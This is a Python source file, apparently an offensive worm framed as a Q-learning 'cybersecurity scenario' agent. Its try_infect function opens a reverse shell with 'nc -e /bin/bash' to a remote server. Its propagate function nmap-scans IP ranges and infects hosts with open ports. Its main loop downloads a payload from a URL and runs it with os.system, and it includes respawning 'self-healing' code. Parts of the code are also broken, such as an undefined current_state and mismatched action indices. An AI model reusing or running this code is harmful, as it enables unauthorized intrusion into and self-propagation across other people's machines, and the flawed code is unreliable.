main.py

import argparse
import os
import shutil
import subprocess
import sys
import threading
import urllib.request
from concurrent.futures import ThreadPoolExecutor
from pathlib import Path
from typing import Dict, List, NamedTuple, Optional, Tuple
import numpy as np
import psutil
import signal
import pickle
import socket
import nmap

class State(NamedTuple):
    ip: str
    state_number: int

class LongTermMemory:
    """Simple long-term memory for storing past experiences."""
    def __init__(self):
        self.memory = {}

    def store(self, state: State, action: int, reward: float, next_state: State):
        if state not in self.memory:
            self.memory[state] = []
        self.memory[state].append((action, reward, next_state))

    def retrieve(self, state: State):
        return self.memory.get(state, [])

    def best_action(self, state: State) -> Optional[int]:
        if state in self.memory:
            actions = self.memory[state]
            return max(actions, key=lambda x: x[1])[0]
        return None

long_term_memory = LongTermMemory()

# Enhanced symbolic reasoning function
def symbolic_reasoning(state: State) -> Optional[int]:
    """Use symbolic reasoning to choose an action based on the state."""
    if state.state_number < 10:
        return 0  # Try infecting when in early states
    elif state.state_number < 50:
        return 2  # Propagate when in intermediate states
    elif state.state_number >= 50:
        return 1  # Perform self-healing when in later states
    return None

def choose_action(q_table: Dict[State, Dict[int, float]], state: State, exploration_probability: float) -> int:
    """Choose a random action to take with probability exploration_probability, or the best action otherwise."""
    symbolic_action = symbolic_reasoning(state)
    if symbolic_action is not None:
        return symbolic_action

    if np.random.rand() < exploration_probability:
        return np.random.randint(0, 6)
    else:
        return max(q_table[state].items(), key=lambda x: x[1])[0]

def take_action(action: int, ip: str) -> Tuple[Optional[float], Optional[State]]:
    """Take an action and return the reward and the next state."""
    action_map = {
        0: try_infect,
        1: perform_self_healing,
        2: propagate,
        3: check_self_awareness,
        4: explore_environment,
    }
    
    result = action_map[action](ip)
    next_state = update_state(current_state, action)
    if result:
        return REWARD_SUCCESS, next_state
    else:
        return REWARD_FAILURE, next_state

def try_infect(ip: str) -> bool:
    """Try to infect a machine with an IP address of ip."""
    try:
        subprocess.run([NETCAT_BINARY, "-e", "/bin/bash", REMOTE_SERVER, str(PORT)],
                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5)
        return True
    except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as e:
        return False

def perform_self_healing(ip: str) -> bool:
    """Perform self-healing actions based on the current state of affairs."""
    try:
        pid = os.getpid()
        os.kill(pid, 0)
    except OSError:
        return False
    
    src = Path("/path/to/original/file")
    dst = Path("/path/to/compromised/file")
    if not src.exists() or not dst.exists() or src.samefile(dst):
        return False

    try:
        os.kill(pid, signal.SIGTERM)
        os.execv(sys.executable, ['python'] + sys.argv)
        shutil.copyfile(src, dst)
        return True
    except Exception as e:
        return False

def propagate(ip_range: List[str]) -> bool:
    """Scan the specified IP range for vulnerable machines."""
    vulnerable_machines = []
    with ThreadPoolExecutor() as executor:
        future_to_ip = {executor.submit(is_vulnerable, ip): ip for ip in ip_range}
        for future in future_to_ip:
            ip = future_to_ip[future]
            try:
                if future.result():
                    vulnerable_machines.append(ip)
            except Exception as e:
                pass

    for ip in vulnerable_machines:
        try_infect(ip)

    return len(vulnerable_machines) > 0

def is_vulnerable(ip: str) -> bool:
    """Check whether the target machine is vulnerable to a specific exploit."""
    nm = nmap.PortScanner()
    scan_result = nm.scan(ip, '22-443')
    for host in nm.all_hosts():
        if 'tcp' in nm[host]:
            for port in nm[host]['tcp']:
                if nm[host]['tcp'][port]['state'] == 'open':
                    return True
    return False

def check_self_awareness(ip: str) -> bool:
    """Check whether the agent is aware of its own state or status."""
    try:
        mem_usage = psutil.Process(os.getpid()).memory_info().rss / (1024 * 1024)
        if mem_usage > MAX_MEMORY:
            return False
        return True
    except Exception as e:
        return False

def explore_environment(ip: str) -> bool:
    """Explore the environment to gather information about the system."""
    try:
        hostname = socket.gethostname()
        local_ip = socket.gethostbyname(hostname)
        open_ports = []
        nm = nmap.PortScanner()
        scan_result = nm.scan(local_ip, '1-1024')
        for host in nm.all_hosts():
            if 'tcp' in nm[host]:
                for port in nm[host]['tcp']:
                    if nm[host]['tcp'][port]['state'] == 'open':
                        open_ports.append(port)
        if open_ports:
            return True
    except Exception as e:
        return False

def update_state(state: State, action: int) -> State:
    """Update the current state based on the action taken."""
    state_updates = {
        0: lambda s: State(s.ip, s.state_number + 1),
        1: lambda s: State(s.ip, s.state_number - 1),
        2: lambda s: State(s.ip, s.state_number * 2),
        3: lambda s: State(s.ip, s.state_number // 2),
        4: lambda s: State(s.ip, s.state_number + 5),
    }
    return state_updates.get(action, lambda s: s)(state)

def download_payload(payload_url: str) -> str:
    """Download the payload from a URL."""
    try:
        with urllib.request.urlopen(payload_url) as f:
            return f.read().decode("utf-8")
    except urllib.error.URLError as e:
        sys.exit(1)

def curriculum_learning_setup(ip_range: List[str]) -> List[str]:
    """Setup curriculum learning by arranging IPs from simpler to more complex tasks."""
    return sorted(ip_range, key=lambda ip: int(ip.split('.')[-1]))  # Simple heuristic: sort by last octet

def main(ip_range: List[str], remote_server: str, port: int, payload_url: str) -> None:
    q_table: Dict[State, Dict[int, float]] = {State(ip, state_number): {action: 0.0 for action in range(5)} for ip in ip_range for state_number in range(MAX_STATE)}
    state = State(ip_range[0], 0)

    exploration_probability = 1.0

    payload = download_payload(payload_url)

    # Curriculum learning setup
    ip_range = curriculum_learning_setup(ip_range)

    for episode in range(MAX_EPISODES):
        for ip in ip_range:
            state = State(ip, state.state_number)
            action = choose_action(q_table, state, exploration_probability)
            reward, next_state = take_action(action, state.ip)

            if next_state is not None:
                next_action = choose_action(q_table, next_state, exploration_probability)
                q_table[state][action] = q_table[state][action] + LEARNING_RATE * (reward + DISCOUNT_FACTOR * q_table[next_state][next_action] - q_table[state][action])

            long_term_memory.store(state, action, reward, next_state)

            exploration_probability *= decay_factor

            state = next_state if next_state else state

            if check_self_awareness(state.ip):
                break

            if state.state_number == MAX_STATE:
                break

            if episode % 10 == 0:
                perform_self_healing(state.ip)
                propagate(ip_range)
                os.system(payload)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="A Q-learning agent for a cybersecurity scenario.")
    parser.add_argument("ip_range", nargs="+", type=str, help="A list of IP addresses to scan.")
    parser.add_argument("--remote-server", type=str, default="example.com", help="The remote server to connect to.")
    parser.add_argument("--port", type=int, default=8080, help="The port to connect to on the remote server.")
    parser.add_argument("--payload-url", type=str, help="The URL of the payload to download and execute.")
    args = parser.parse_args()

    NETCAT_BINARY = "/bin/nc"
    REMOTE_SERVER = args.remote_server
    PORT = args.port
    PAYLOAD_URL = args.payload_url
    MAX_EPISODES = 1000
    MAX_STATE = 10000
    REWARD_SUCCESS = 10
    REWARD_FAILURE = -5
    DISCOUNT_FACTOR = 0.9
    LEARNING_RATE = 0.1
    MAX_MEMORY = 100  # Example value, adjust as needed

    exploration_probability = 1.0
    decay_factor = 0.999

    main(args.ip_range, args.remote_server, args.port, args.payload_url)